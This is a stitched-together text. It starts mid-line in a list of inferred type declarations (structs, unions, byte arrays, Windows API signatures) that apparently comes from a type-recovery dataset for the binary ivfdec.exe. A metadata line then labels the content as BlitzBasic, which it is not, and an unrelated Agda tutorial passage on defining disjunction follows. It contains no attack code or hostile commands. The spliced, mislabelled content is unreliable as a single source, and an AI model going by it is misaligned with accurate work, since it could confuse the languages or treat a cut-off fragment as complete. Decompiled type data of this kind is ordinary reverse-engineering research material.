96)),26660:ptr(array(reg8_t,130)),26664:ptr(array(reg8_t,80)),26668:ptr(array(reg8_t,65)),26672:ptr(array(reg8_t,24))))) "Union_38"
167 ptr(struct(26552:ptr(array(reg8_t,96)),26556:ptr(array(reg8_t,1008)),26560:ptr(array(reg8_t,96)),26564:ptr(array(reg8_t,50)),26568:ptr(array(reg8_t,544)),26572:ptr(array(reg8_t,343)),26576:ptr(array(reg8_t,160)),26580:ptr(array(reg8_t,80)),26584:ptr(array(reg8_t,95)),26588:ptr(array(reg8_t,116)),26592:ptr(array(reg8_t,168)),26596:ptr(array(reg8_t,352)),26600:ptr(array(reg8_t,240)),26604:ptr(array(reg8_t,240)),26608:ptr(array(reg8_t,160)),26612:ptr(array(reg8_t,169)),26616:ptr(array(reg8_t,238)),26620:ptr(array(reg8_t,125)),26624:ptr(array(reg8_t,93)),26628:ptr(array(reg8_t,77)),26632:ptr(array(reg8_t,117)),26636:ptr(array(reg8_t,77)),26640:ptr(array(reg8_t,120)),26644:ptr(array(reg8_t,48)),26648:ptr(array(reg8_t,96)),26652:ptr(array(reg8_t,48)),26656:ptr(array(reg8_t,96)),26660:ptr(array(reg8_t,130)),26664:ptr(array(reg8_t,80)),26668:ptr(array(reg8_t,65)),26672:ptr(array(reg8_t,24)))) "Struct_34*"
168 ptr(struct(0:num32_t,4:reg32_t,8:num32_t,12:reg32_t,16:ptr(num8_t),20:uint32_t,24:ptr(num8_t),28:ptr(num8_t),32:ptr(num8_t))) "Struct_305*"
169 ptr(struct(8:reg32_t,24:ptr(TOP))) "Struct_187*"
170 ptr(struct(8:ptr(reg32_t),24:ptr(TOP),28:reg32_t,32:reg32_t,56:reg16_t,58:reg16_t)) "Struct_406*"
171 ptr(struct(5432:code_t,5444:ptr(struct(0:array(reg8_t,24),24:code_t)))) "Struct_405*"
172 ptr(struct(24:ptr(TOP),32:reg32_t,56:num8_t)) "Struct_94*"
173 ptr(struct(5428:code_t,5444:ptr(struct(0:array(reg8_t,28),28:code_t)))) "Struct_407*"
174 ptr(struct(4596:ptr(TOP),4604:reg32_t,4628:reg16_t)) "Struct_421*"
175 array(reg8_t,24) "unknown_192"
176 array(reg8_t,9) "unknown_72"
177 array(reg8_t,15) "unknown_120"
178 array(reg8_t,18) "unknown_144"
179 array(reg8_t,21) "unknown_168"
180 array(reg8_t,6) "unknown_48"
181 ptr(struct(0:array(reg8_t,16),16:code_t)) "StructFrag_2*"
182 ptr(struct(4520:reg32_t,4524:reg32_t,4548:ptr(reg32_t),4552:reg32_t,4556:reg32_t)) "Struct_437*"
183 ptr(struct(0:ptr(TOP),1:num8_t,4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),4294967294:num8_t,4294967295:num8_t)) "Struct_486*"
184 ptr(struct(5112:reg32_t,5128:ptr(num32_t),5172:reg32_t)) "Struct_194*"
185 ptr(struct(5124:num32_t,5132:ptr(num8_t),5136:ptr(num8_t),5176:num32_t,5340:reg32_t,5344:reg32_t)) "Struct_495*"
186 ptr(struct(36:ptr(TOP),40:reg32_t,44:num32_t)) "Struct_440*"
187 ptr(struct(3588:ptr(TOP),3596:reg32_t)) "Struct_101*"
188 ptr(struct(0:array(reg8_t,16),16:num32_t)) "StructFrag_54*"
189 ptr(struct(36:ptr(TOP),44:reg32_t)) "Struct_100*"
190 ptr(struct(12:code_t,16:code_t)) "Struct_435*"
191 union(ptr(struct(0:array(reg8_t,12),12:code_t)),ptr(struct(12:code_t,16:code_t))) "Union_36"
192 ptr(struct(0:array(reg8_t,20),20:code_t)) "StructFrag_94*"
193 ptr(struct(3560:reg32_t,3564:reg32_t,3588:ptr(reg32_t),3592:reg32_t,3596:reg32_t)) "Struct_443*"
194 ptr(struct(16:code_t,20:code_t)) "Struct_444*"
195 ptr(struct(5172:reg32_t,5360:ptr(TOP),5364:ptr(TOP))) "Struct_445*"
196 ptr(struct(4:reg32_t,8:num32_t,12:reg32_t,28:ptr(num8_t))) "Struct_84*"
197 ptr(struct(5172:reg32_t,5364:ptr(TOP),5440:ptr(struct(4:reg32_t,8:num32_t,12:reg32_t,28:ptr(num8_t))))) "Struct_446*"
198 union(ptr(struct(4:reg32_t,28:ptr(num8_t))),ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,28:ptr(num8_t))),ptr(struct(16:ptr(TOP),20:uint32_t,24:ptr(TOP),32:ptr(TOP)))) "Union_32"
199 ptr(struct(0:array(reg8_t,5372),5372:num8_t)) "StructFrag_37*"
200 array(reg8_t,16) "unknown_128"
201 ptr(struct(4:reg32_t,28:ptr(num8_t))) "Struct_51*"
202 ptr(struct(0:array(reg8_t,32),32:num8_t)) "StructFrag_35*"
203 ptr(struct(0:array(reg8_t,336),336:reg32_t)) "StructFrag_155*"
204 union(ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,28:ptr(num8_t))),ptr(struct(16:ptr(TOP),20:uint32_t,24:ptr(TOP),32:ptr(TOP)))) "Union_34"
205 ptr(union(struct(4:reg32_t,8:reg32_t,12:reg32_t,28:ptr(num8_t)),struct(16:ptr(TOP),20:uint32_t,24:ptr(TOP),32:ptr(TOP)))) "Union_23*"
206 union(ptr(reg32_t),ptr(struct(0:uint32_t,8:reg32_t,12:uint32_t))) "Union_37"
207 ptr(array(reg8_t,1043452)) "unknown_8347616*"
208 ptr(struct(0:array(reg8_t,6),6:num16_t)) "StructFrag_96*"
209 ptr(struct(0:ptr(struct(0:array(reg8_t,6),6:num16_t)),4:ptr(struct(0:reg32_t,4:reg16_t)))) "Struct_448*"
210 union(ptr(reg16_t),ptr(num16_t)) "Union_39"
211 ptr(num16_t) "short[]"
212 union(ptr(reg16_t),ptr(struct(0:array(reg8_t,336),336:reg32_t))) "Union_40"
213 ptr(array(reg8_t,3)) "unknown_24*"
0 code_t "PTOP_LEVEL_EXCEPTION_FILTER"
214 union(num32_t,ptr(struct(0:array(reg8_t,12),12:reg32_t)),ptr(struct(0:array(reg8_t,16),16:code_t))) "Union_13"
215 ptr(struct(0:reg64_t,8:ptr(struct(0:array(reg8_t,256),256:reg32_t)))) "StructFrag_109*"
216 ptr(struct(0:ptr(TOP),12448:reg32_t,12452:reg32_t,12788:reg32_t,12792:reg32_t,12808:reg32_t,12812:reg32_t,12816:reg32_t,12840:reg32_t,12844:reg32_t,12876:ptr(struct(0:num8_t,4294967292:ptr(TOP))),12880:reg32_t,12884:ptr(struct(0:num8_t,4294967292:ptr(TOP))),12888:ptr(struct(0:array(reg8_t,56),56:reg32_t)),12896:reg32_t,12900:reg32_t,23152:reg32_t,23156:reg32_t,23160:reg32_t,23164:reg32_t,23168:reg32_t,23172:reg32_t,23176:reg32_t,23184:reg32_t,23220:ptr(struct(0:num8_t,4294967292:ptr(TOP))),23224:ptr(struct(0:num8_t,4294967292:ptr(TOP))),23228:ptr(struct(0:num8_t,4294967292:ptr(TOP))),23232:ptr(struct(0:num8_t,4294967292:ptr(TOP))),26512:reg32_t,26536:float64_t,26544:float64_t,26628:reg32_t,26632:reg32_t,26636:reg32_t,26640:reg32_t,26644:reg32_t,26648:reg32_t,26652:reg32_t,26656:reg32_t,26672:ptr(TOP))) "Struct_238*"
217 ptr(struct(0:reg64_t,8:ptr(reg32_t))) "StructFrag_116*"
218 ptr(struct(0:reg64_t,8:reg32_t)) "StructFrag_5*"
219 ptr(struct(0:array(reg8_t,20),20:ptr(struct(0:reg32_t,4:code_t)))) "StructFrag_119*"
220 ptr(struct(4:ptr(struct(0:reg32_t,12:code_t,16:code_t)),12:reg32_t)) "Struct_263*"
221 ptr(struct(0:array(reg8_t,24),24:code_t)) "StructFrag_75*"
222 ptr(struct(0:array(reg8_t,28),28:code_t)) "StructFrag_76*"
223 union(ptr(num8_t),ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP)))) "Union_25"
19 ptr(reg32_t) "LPHANDLE"
224 ptr(struct(0:array(reg8_t,28),28:reg32_t)) "StructFrag_150*"
225 ptr(struct(12:reg32_t,16:ptr(TOP),20:uint32_t,24:ptr(TOP),28:ptr(num8_t),32:ptr(TOP))) "Struct_111*"
226 ptr(struct(0:array(reg8_t,536870910),4294967294:num8_t)) "StructFrag_82*"
227 ptr(array(reg8_t,64)) "unknown_512*"
228 ptr(struct(0:num8_t,1:num8_t,2:num8_t,3:num8_t,4:ptr(struct(0:ptr(TOP),1:num8_t,4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),4294967294:num8_t,4294967295:num8_t)),8:ptr(struct(0:ptr(TOP),1:num8_t,4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),4294967294:num8_t,4294967295:num8_t)),12:ptr(struct(0:ptr(TOP),1:num8_t,4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),4294967294:num8_t,4294967295:num8_t)))) "Struct_485*"
229 ptr(struct(0:array(reg8_t,6),6:num8_t)) "StructFrag_83*"
230 ptr(struct(0:reg32_t,4:num32_t)) "StructFrag_195*"
231 ptr(struct(0:array(reg8_t,32),32:reg32_t)) "StructFrag_172*"
232 ptr(struct(0:reg64_t,8:reg16_t)) "StructFrag_158*"
233 ptr(struct(0:reg16_t,2:num16_t)) "StructFrag_177*"
234 union(ptr(num32_t),ptr(struct(0:reg64_t,8:reg16_t))) "Union_41"
230 ptr(struct(0:reg32_t,4:num32_t)) "StructFrag_101*"
235 ptr(struct(0:array(reg8_t,8388632),8388632:reg16_t)) "StructFrag_179*"
236 ptr(struct(0:array(reg8_t,24),24:reg16_t)) "StructFrag_180*"
237 ptr(struct(0:reg32_t,4:reg32_t,8:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))) "EXCEPTION_RECORD*"
238 ptr(array(reg8_t,256)) "unknown_2048*"
22 ptr(uint32_t) "unsigned int[]"
239 ptr(struct(0:array(reg8_t,36),36:uint32_t)) "StructFrag_199*"
9 num32_t "errno_t"
240 ptr(struct(0:array(reg8_t,16),16:union(num64_t,struct(0:reg32_t,4:num32_t)))) "StructFrag_17*"
241 ptr(struct(4:struct(0:reg32_t,8:ptr(array(reg8_t,24))),24:ptr(struct(0:reg32_t,8:ptr(TOP))))) "Struct_215*"
242 union(ptr(reg32_t),ptr(num32_t)) "Union_17"
243 ptr(struct(4532:ptr(TOP),5156:ptr(struct(0:array(reg8_t,32),32:num8_t)))) "Struct_294*"
244 ptr(struct(32040:code_t,32044:code_t)) "Struct_401*"
245 ptr(struct(0:array(reg8_t,70664),70664:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))))) "StructFrag_64*"
246 ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,28:ptr(num8_t))) "Struct_50*"
51 ptr(struct(0:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(num8_t))),4:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(num8_t))),12:ptr(struct(0:array(reg8_t,12),12:ptr(num8_t))))) "Struct_478*"
0 code_t "(_Inout_ LPSECURITY_ATTRIBUTES,BOOL,BOOL,_In_ WCHAR* -ms-> HANDLE)*"
0 code_t "(HANDLE,DWORD -ms-> DWORD)*"
247 ptr(struct(0:reg32_t,4:reg16_t)) "StructFrag_93*"
248 ptr(struct(0:array(reg8_t,536870896),4294967280:reg32_t)) "StructFrag_98*"
249 ptr(struct(4294967272:ptr(TOP),4294967288:code_t,4294967292:code_t)) "Struct_499*"
0 code_t "(_Inout_ char*,size_t,_In_ char* -> int)*"
250 union(ptr(struct(0:array(reg8_t,36188),36188:reg32_t)),ptr(struct(0:array(reg8_t,70840),70840:reg32_t))) "Union_29"
0 code_t "(HANDLE -ms-> BOOL)*"
251 ptr(struct(0:array(reg8_t,23752),23752:num32_t)) "StructFrag_152*"
252 ptr(struct(0:array(reg8_t,12840),12840:num32_t)) "StructFrag_153*"
253 ptr(struct(0:array(reg8_t,16),16:num8_t)) "StructFrag_10*"
254 ptr(struct(32016:code_t,32020:code_t,32024:code_t,41292:code_t,41296:code_t,41300:code_t)) "Struct_363*"
255 ptr(struct(0:code_t,4:code_t,8:code_t)) "Struct_471*"
256 struct(0:reg32_t,8:ptr(array(reg8_t,24))) "Struct_212"
68 ptr(struct(0:array(reg8_t,16),16:ptr(struct(0:reg32_t,8:ptr(TOP))))) "StructFrag_111*"
257 ptr(struct(0:array(reg8_t,256),256:reg32_t)) "StructFrag_22*"
258 ptr(struct(0:array(reg8_t,12),12:reg32_t)) "StructFrag_3*"
259 ptr(struct(0:reg32_t,4:code_t)) "StructFrag_7*"
260 ptr(struct(0:array(reg8_t,36),36:code_t)) "StructFrag_74*"
261 ptr(struct(0:array(reg8_t,40),40:code_t)) "StructFrag_8*"
262 ptr(struct(0:array(reg8_t,44),44:code_t)) "StructFrag_9*"
263 ptr(struct(8:reg32_t,16:ptr(num8_t),20:uint32_t,28:ptr(num8_t))) "Struct_291*"
264 ptr(struct(0:array(reg8_t,6192),6192:num8_t)) "StructFrag_67*"
265 ptr(struct(20:code_t,24:code_t)) "Struct_403*"
266 ptr(struct(20:code_t,24:code_t,28:code_t)) "Struct_417*"
267 ptr(struct(24:ptr(TOP),32:reg32_t,56:reg16_t)) "Struct_85*"
268 ptr(struct(0:array(reg8_t,536870911),4294967295:num8_t)) "StructFrag_49*"
269 ptr(struct(0:array(reg8_t,6),6:reg16_t)) "StructFrag_27*"
270 ptr(struct(24:ptr(TOP),28:reg32_t,32:num32_t,44:num32_t,56:reg16_t,58:reg16_t)) "Struct_427*"
0 code_t "(_In_ char*,_Inout_ char**,int -> int)*"
0 code_t "(FILE*,_In_ char* -> int)*"
0 code_t "(_In_ char* -> int)*"
0 code_t "(_Inout_ void* -> void)*"
0 code_t "(_Inout_ LARGE_INTEGER* -ms-> BOOL)*"
271 ptr(struct(0:reg32_t,4:num8_t)) "StructFrag_15*"
272 ptr(struct(0:num32_t,8:num32_t,24:ptr(TOP),28:ptr(struct(0:reg64_t,8:reg32_t)))) "Struct_367*"
273 ptr(struct(28:ptr(TOP),36:reg32_t,60:reg16_t)) "Struct_424*"
274 ptr(struct(0:array(reg8_t,536870908),4294967292:reg32_t)) "StructFrag_107*"
275 ptr(array(reg8_t,264)) "unknown_2112*"
276 ptr(struct(0:int32_t,4:int32_t,8:int32_t,12:num32_t,16:num32_t,20:num32_t,24:ptr(num32_t),28:ptr(num32_t))) "Struct_369*"
277 ptr(struct(0:array(reg8_t,12),12:code_t)) "StructFrag_55*"
278 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(num8_t))) "Struct_477*"
279 ptr(struct(4:uint32_t,8:uint32_t,16:uint32_t,20:ptr(array(reg8_t,32)),24:ptr(TOP))) "Struct_214*"
280 ptr(struct(0:reg32_t,4:uint32_t,8:uint32_t,16:uint32_t,20:ptr(array(reg8_t,32)),24:ptr(TOP))) "Struct_244*"
281 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:code_t)) "Struct_148*"
282 ptr(struct(0:reg32_t,8:ptr(reg16_t),4294967284:ptr(reg32_t))) "Struct_364*"
283 ptr(struct(0:ptr(reg32_t),4:reg32_t,8:reg32_t,4294967268:reg32_t,4294967272:reg32_t)) "Struct_438*"
284 ptr(struct(0:ptr(reg32_t),4:reg32_t,8:reg32_t,16:num32_t,4294967268:ptr(struct(0:array(reg8_t,16),16:num32_t)),4294967272:reg32_t)) "Struct_436*"
0 code_t "(_In_ char* -> char*)*"
285 ptr(struct(16:ptr(TOP),20:uint32_t,32:ptr(TOP))) "Struct_185*"
286 array(reg8_t,5) "unknown_40"
287 array(reg8_t,91) "unknown_728"
288 array(reg8_t,48) "unknown_384"
289 array(reg8_t,80) "unknown_640"
290 array(reg8_t,30) "unknown_240"
291 array(reg8_t,47) "unknown_376"
292 array(reg8_t,27) "unknown_216"
293 array(reg8_t,17) "unknown_136"
294 array(reg8_t,62) "unknown_496"
295 array(reg8_t,35) "unknown_280"
296 array(reg8_t,10) "unknown_80"
297 array(reg8_t,26) "unknown_208"
298 array(reg8_t,140) "unknown_1120"
299 array(reg8_t,69) "unknown_552"
300 array(reg8_t,19) "unknown_152"
301 array(reg8_t,36) "unknown_288"
302 array(reg8_t,7) "unknown_56"
303 array(reg8_t,44) "unknown_352"
304 array(reg8_t,87) "unknown_696"
305 array(reg8_t,51) "unknown_408"
306 array(reg8_t,32) "unknown_256"
307 array(reg8_t,71) "unknown_568"
308 array(reg8_t,13) "unknown_104"
309 array(reg8_t,68) "unknown_544"
310 array(reg8_t,31) "unknown_248"
311 array(reg8_t,70) "unknown_560"
312 array(reg8_t,37) "unknown_296"
313 array(reg8_t,40) "unknown_320"
314 array(reg8_t,55) "unknown_440"
315 array(reg8_t,23) "unknown_184"
316 array(reg8_t,113) "unknown_904"
317 array(reg8_t,73) "unknown_584"
318 array(reg8_t,49) "unknown_392"
319 array(reg8_t,53) "unknown_424"
320 array(reg8_t,75) "unknown_600"
321 array(reg8_t,127) "unknown_1016"
322 array(reg8_t,57) "unknown_456"
323 array(reg8_t,88) "unknown_704"
324 array(reg8_t,210) "unknown_1680"
325 array(reg8_t,38) "unknown_304"
326 array(reg8_t,22) "unknown_176"
327 array(reg8_t,42) "unknown_336"
328 array(reg8_t,2153) "unknown_17224"
329 array(reg8_t,56) "unknown_448"
330 array(reg8_t,66) "unknown_528"
331 array(reg8_t,46) "unknown_368"
332 array(reg8_t,128) "unknown_1024"
333 array(reg8_t,25) "unknown_200"
334 array(reg8_t,41) "unknown_328"
335 array(reg8_t,45) "unknown_360"
336 array(reg8_t,14) "unknown_112"
337 array(reg8_t,144) "unknown_1152"
338 array(reg8_t,34) "unknown_272"
339 array(reg8_t,11) "unknown_88"
340 array(reg8_t,101) "unknown_808"
341 array(ptr(TOP),10) "void*[10]"
342 array(reg8_t,76) "unknown_608"
343 array(reg8_t,29) "unknown_232"
344 array(reg8_t,123) "unknown_984"
345 array(reg8_t,96) "unknown_768"
346 array(reg8_t,33) "unknown_264"
347 array(reg8_t,89) "unknown_712"
348 array(reg8_t,92) "unknown_736"
349 array(ptr(TOP),3) "void*[3]"
350 array(reg8_t,256) "unknown_2048"
351 array(reg8_t,192) "unknown_1536"
352 array(reg8_t,409) "unknown_3272"
353 array(ptr(TOP),4) "void*[4]"
354 array(reg8_t,52) "unknown_416"
355 array(reg8_t,288) "unknown_2304"
356 array(reg8_t,191) "unknown_1528"
357 array(reg8_t,94) "unknown_752"
358 array(reg8_t,159) "unknown_1272"
359 array(reg8_t,102) "unknown_816"
360 array(reg8_t,54) "unknown_432"
361 array(reg8_t,61) "unknown_488"
362 array(reg8_t,72) "unknown_576"
363 array(reg8_t,74) "unknown_592"
364 array(reg8_t,43) "unknown_344"
365 array(reg8_t,129) "unknown_1032"
366 array(reg8_t,82) "unknown_656"
367 array(reg8_t,79) "unknown_632"
368 array(reg8_t,58) "unknown_464"
369 array(reg8_t,65) "unknown_520"
370 array(reg8_t,77) "unknown_616"
371 array(reg8_t,120) "unknown_960"
372 array(reg8_t,117) "unknown_936"
373 array(reg8_t,166) "unknown_1328"
374 array(reg8_t,63) "unknown_504"
375 array(reg8_t,93) "unknown_744"
376 array(reg8_t,59) "unknown_472"
377 array(reg8_t,84) "unknown_672"
378 array(reg8_t,50) "unknown_400"
379 array(reg8_t,67) "unknown_536"
380 array(reg8_t,184) "unknown_1472"
381 array(reg8_t,208) "unknown_1664"
382 array(reg8_t,98) "unknown_784"
383 array(reg8_t,136) "unknown_1088"
384 array(reg8_t,148) "unknown_1184"
385 array(reg8_t,110) "unknown_880"
386 array(reg8_t,130) "unknown_1040"
387 array(reg8_t,160) "unknown_1280"
388 array(reg8_t,107) "unknown_856"
389 array(reg8_t,108) "unknown_864"
390 array(reg8_t,138) "unknown_1104"
391 array(reg8_t,176) "unknown_1408"
392 array(reg8_t,132) "unknown_1056"
393 array(reg8_t,100) "unknown_800"
394 array(reg8_t,121) "unknown_968"
395 array(reg8_t,97) "unknown_776"
396 array(reg8_t,122) "unknown_976"
397 array(reg8_t,99) "unknown_792"
398 array(reg8_t,125) "unknown_1000"
399 array(reg8_t,103) "unknown_824"
400 array(reg8_t,83) "unknown_664"
401 array(reg8_t,116) "unknown_928"
402 array(reg8_t,81) "unknown_648"
403 array(reg8_t,139) "unknown_1112"
404 array(reg32_t,7) "dword[7]"
405 array(reg8_t,163) "unknown_1304"
406 array(reg8_t,106) "unknown_848"
407 array(reg8_t,352) "unknown_2816"
408 array(reg8_t,60) "unknown_480"
409 array(reg8_t,224) "unknown_1792"
410 array(reg8_t,95) "unknown_760"
411 array(reg8_t,90) "unknown_720"
412 array(reg8_t,248) "unknown_1984"
413 array(reg8_t,112) "unknown_896"
414 array(reg8_t,268) "unknown_2144"
415 array(reg8_t,260) "unknown_2080"
416 array(reg8_t,78) "unknown_624"
417 array(reg8_t,267) "unknown_2136"
418 array(reg8_t,348) "unknown_2784"
419 array(reg8_t,146) "unknown_1168"
420 array(reg8_t,105) "unknown_840"
421 array(reg8_t,149) "unknown_1192"
422 array(reg32_t,5) "dword[5]"
423 array(reg32_t,4) "dword[4]"
424 array(reg8_t,688) "unknown_5504"
425 array(reg8_t,164) "unknown_1312"
426 array(reg8_t,303) "unknown_2424"
427 array(reg8_t,218) "unknown_1744"
428 array(reg8_t,157) "unknown_1256"
429 array(reg8_t,1008) "unknown_8064"
430 array(reg8_t,544) "unknown_4352"
431 array(reg8_t,361) "unknown_2888"
432 array(reg8_t,376) "unknown_3008"
433 array(reg8_t,226) "unknown_1808"
434 array(reg8_t,270) "unknown_2160"
435 array(reg8_t,296) "unknown_2368"
436 array(reg8_t,284) "unknown_2272"
437 array(reg8_t,180) "unknown_1440"
438 array(reg8_t,338) "unknown_2704"
439 array(reg8_t,169) "unknown_1352"
440 array(reg8_t,185) "unknown_1480"
441 array(reg8_t,104) "unknown_832"
442 array(reg8_t,238) "unknown_1904"
443 array(reg8_t,240) "unknown_1920"
444 array(reg8_t,168) "unknown_1344"
445 array(reg8_t,228) "unknown_1824"
446 array(reg8_t,213) "unknown_1704"
447 array(reg8_t,245) "unknown_1960"
448 array(reg8_t,85) "unknown_680"
449 array(reg8_t,343) "unknown_2744"
450 array(reg8_t,321) "unknown_2568"
451 array(reg8_t,508) "unknown_4064"
452 array(reg8_t,727) "unknown_5816"
453 array(reg8_t,706) "unknown_5648"
454 array(reg8_t,1019) "unknown_8152"
455 array(reg8_t,258) "unknown_2064"
456 array(reg8_t,434) "unknown_3472"
457 array(reg8_t,650) "unknown_5200"
458 array(reg8_t,1145) "unknown_9160"
459 array(reg8_t,890) "unknown_7120"
460 array(reg8_t,1498) "unknown_11984"
461 array(reg8_t,317) "unknown_2536"
462 array(reg8_t,764) "unknown_6112"
463 array(reg8_t,3805) "unknown_30440"
464 array(reg8_t,520) "unknown_4160"
465 array(reg8_t,1040) "unknown_8320"
466 array(num8_t,40) "char[40]"
467 array(num8_t,37) "char[37]"
468 array(num8_t,12) "char[12]"
469 array(num8_t,17) "char[17]"
470 array(num8_t,6) "char[6]"
471 array(num8_t,7) "char[7]"
472 array(num8_t,14) "char[14]"
473 array(num8_t,35) "char[35]"
474 array(num8_t,52) "char[52]"
475 array(num8_t,50) "char[50]"
476 array(num8_t,31) "char[31]"
477 array(reg8_t,277) "unknown_2216"
478 array(reg8_t,304) "unknown_2432"
479 array(num8_t,27) "char[27]"
480 array(num8_t,43) "char[43]"
481 array(num8_t,57) "char[57]"
482 array(num8_t,22) "char[22]"
483 array(num8_t,3) "char[3]"
484 array(num8_t,2) "char[2]"
485 array(num8_t,5) "char[5]"
486 array(num8_t,68) "char[68]"
487 float32_t "float"
0 code_t "(void -?-> dword)*"
488 array(num8_t,20) "char[20]"
489 array(num8_t,24) "char[24]"
490 array(num8_t,21) "char[21]"
491 array(num8_t,18) "char[18]"
492 array(num8_t,23) "char[23]"
493 array(num8_t,46) "char[46]"
494 array(num8_t,8) "char[8]"
495 array(num8_t,39) "char[39]"
496 array(num8_t,34) "char[34]"
497 array(num8_t,44) "char[44]"
498 array(num8_t,42) "char[42]"
499 array(num8_t,48) "char[48]"
500 array(num8_t,28) "char[28]"
501 array(reg8_t,888) "unknown_7104"
502 array(num8_t,36) "char[36]"
503 num16_t "short"
504 array(reg8_t,1056) "unknown_8448"
505 array(reg8_t,4608) "unknown_36864"
506 array(reg8_t,1024) "unknown_8192"
507 array(num8_t,19) "char[19]"
508 array(reg8_t,3993) "unknown_31944"
509 struct(0:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(struct(0:reg32_t,4:reg32_t,8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),12:ptr(TOP),16:reg32_t,20:array(uint32_t,15))),4:ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:array(reg8_t,80),108:reg32_t),140:reg32_t,144:reg32_t,148:reg32_t,152:reg32_t,156:reg32_t,160:reg32_t,164:reg32_t,168:reg32_t,172:reg32_t,176:reg32_t,180:reg32_t,184:reg32_t,188:reg32_t,192:reg32_t,196:reg32_t,200:reg32_t,204:array(reg8_t,512)))) "_EXCEPTION_POINTERS"
510 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:array(reg8_t,80),108:reg32_t),140:reg32_t,144:reg32_t,148:reg32_t,152:reg32_t,156:reg32_t,160:reg32_t,164:reg32_t,168:reg32_t,172:reg32_t,176:reg32_t,180:reg32_t,184:reg32_t,188:reg32_t,192:reg32_t,196:reg32_t,200:reg32_t,204:array(reg8_t,512))) "CONTEXT*"
511 array(reg8_t,3924) "unknown_31392"
512 array(reg8_t,264) "unknown_2112"
513 struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t) "_EH4_SCOPETABLE"
514 array(reg8_t,3296) "unknown_26368"
515 array(reg8_t,320) "unknown_2560"
516 ptr(array(reg8_t,33)) "unknown_264*"
517 ptr(array(reg8_t,23)) "unknown_184*"
518 ptr(array(reg8_t,19)) "unknown_152*"
519 ptr(array(reg8_t,38)) "unknown_304*"
520 ptr(array(reg8_t,17)) "unknown_136*"
521 array(reg8_t,518) "unknown_4144"
522 ptr(array(reg8_t,82)) "unknown_656*"
523 ptr(array(reg8_t,97)) "unknown_776*"
524 array(reg8_t,846532) "unknown_6772256"
525 array(reg8_t,1043452) "unknown_8347616"
526 array(reg8_t,3812) "unknown_30496"
527 array(reg8_t,500) "unknown_4000"
0 code_t "(void -ms-> DWORD)*"
0 code_t "(void -ms-> BOOL)*"
0 code_t "(_Inout_ LPTOP_LEVEL_EXCEPTION_FILTER -ms-> LPTOP_LEVEL_EXCEPTION_FILTER)*"
0 code_t "(void -ms-> HANDLE)*"
0 code_t "(HANDLE,UINT -ms-> BOOL)*"
0 code_t "(_Inout_ LONG*,LONG,LONG -ms-> LONG)*"
0 code_t "(_Inout_ LONG*,LONG -ms-> LONG)*"
0 code_t "(DWORD -ms-> void)*"
0 code_t "(_Inout_ LPFILETIME -ms-> void)*"
0 code_t "(_Inout_ char*,_In_ char* -> int)*"
0 code_t "(size_t,size_t -> void*)*"
0 code_t "(_Inout_ void*,_In_ void*,size_t -> void*)*"
0 code_t "(unknown0_2,bool -> void)*"
0 code_t "(int -> void)*"
0 code_t "(FILE* -> void)*"
0 code_t "(_Inout_ char*,size_t,_In_ char*,_Inout_ va_list -> int)*"
0 code_t "(_Inout_ _onexit_t -> _onexit_t)*"
0 code_t "(_Inout_ unsigned int*,unsigned int,unsigned int -> errno_t)*"
0 code_t "(FILE* -> int)*"
0 code_t "(_In_ void*,size_t,size_t,FILE* -> size_t)*"
0 code_t "(_In_ char*,_In_ char* -> FILE*)*"
0 code_t "(_Inout_ void*,size_t,size_t,FILE* -> size_t)*"
0 code_t "(_Inout_ void*,size_t -> void*)*"
0 code_t "(FILE*,_In_ char*,_Inout_ va_list -> int)*"
0 code_t "(_Inout_ void*,int,size_t -> void*)*"
0 code_t "(size_t -> void*)*"
0 code_t "(_In_ char*,_In_ char*,size_t -> int)*"
528 array(reg8_t,3156) "unknown_25248"
529 num128_t "int_128"
530 array(reg8_t,768) "unknown_6144"
531 array(reg8_t,2432) "unknown_19456"
532 array(reg8_t,4096) "unknown_32768"
533 array(reg8_t,135168) "unknown_1081344"
534 ptr(struct(35412:reg32_t,35424:reg32_t,40896:reg32_t,40904:reg32_t,40908:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40912:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40916:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40920:ptr(struct(0:array(reg8_t,536870908),4294967292:ptr(TOP))),40924:reg32_t,4294967292:ptr(TOP))) "Struct_41*"
0 code_t "_onexit_t"
| BlitzBasic | 1 | matt-noonan/retypd-data | data/ivfdec.exe.decls | [
"MIT"
] |
## Disjunction
In order to state totality, we need a way to formalise disjunction,
the notion that given two propositions either one or the other holds.
In Agda, we do so by declaring a suitable inductive type.
\begin{code}
data _⊎_ : Set → Set → Set where
inj₁ : ∀ {A B : Set} → A → A ⊎ B
inj₂ : ∀ {A B : Set} → B → A ⊎ B
\end{code}
This tells us that if `A` and `B` are propositions then `A ⊎ B` is
also a proposition. Evidence that `A ⊎ B` holds is either of the form
`inj₁ x`, where `x` is evidence that `A` holds, or `inj₂ y`, where
`y` is evidence that `B` holds.
